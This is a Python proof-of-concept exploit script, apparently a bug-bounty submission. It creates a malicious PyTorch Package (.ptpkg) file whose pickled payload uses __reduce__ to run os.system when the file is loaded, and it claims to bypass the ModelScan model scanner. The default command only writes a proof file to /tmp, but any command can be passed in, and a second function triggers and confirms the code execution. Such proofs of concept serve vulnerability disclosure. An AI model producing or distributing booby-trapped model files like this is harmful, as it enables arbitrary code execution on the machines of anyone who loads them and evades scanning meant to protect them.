exploit.py

#!/usr/bin/env python3
"""PyTorch Package (.ptpkg) ModelScan bypass PoC

MFV Target: #38 PyTorch Package ($1500)
Mechanism: PackageImporter.load_pickle() -> pickle.loads() -> RCE
ModelScan: Blind - no .ptpkg support + ZIP skip
"""

import os
import torch
import torch.package as tpkg


RCE_CMD = 'echo "PWNED_PTPKG" > /tmp/ptpkg_proof.txt && id >> /tmp/ptpkg_proof.txt'


def create_malicious_ptpkg(rce_cmd=None, output="malicious.ptpkg"):
    """Create a malicious .ptpkg file with RCE payload."""
    if rce_cmd is None:
        rce_cmd = RCE_CMD

    class EvilPayload:
        def __reduce__(self):
            return (os.system, (rce_cmd,))

    with tpkg.PackageExporter(output) as pe:
        pe.save_pickle("model", "model.pkl", EvilPayload())

    print(f"Created: {output} ({os.path.getsize(output)} bytes)")
    print(f"PyTorch: {torch.__version__}")
    print(f"\nTest: python3 -c \"import torch.package as tpkg; " +
          f"tpkg.PackageImporter('{output}').load_pickle('model', 'model.pkl')\"")
    return output


def verify_rce(ptpkg_path):
    """Verify RCE triggers on load."""
    import subprocess

    # Clean proof file
    if os.path.exists("/tmp/ptpkg_proof.txt"):
        os.unlink("/tmp/ptpkg_proof.txt")

    # Load the malicious ptpkg
    try:
        importer = tpkg.PackageImporter(ptpkg_path)
        obj = importer.load_pickle("model", "model.pkl")
        print(f"Object returned: {obj}")
    except Exception as e:
        print(f"Post-RCE error (expected): {e}")

    # Check RCE proof
    if os.path.exists("/tmp/ptpkg_proof.txt"):
        print("\n=== RCE CONFIRMED ===")
        with open("/tmp/ptpkg_proof.txt") as f:
            print(f.read())
    else:
        print("\n=== RCE FAILED ===")


if __name__ == "__main__":
    # If we're run directly, create and verify
    import sys
    output = sys.argv[1] if len(sys.argv) > 1 else "malicious.ptpkg"
    path = create_malicious_ptpkg(output=output)
    print("\n--- Verifying RCE ---")
    verify_rce(path)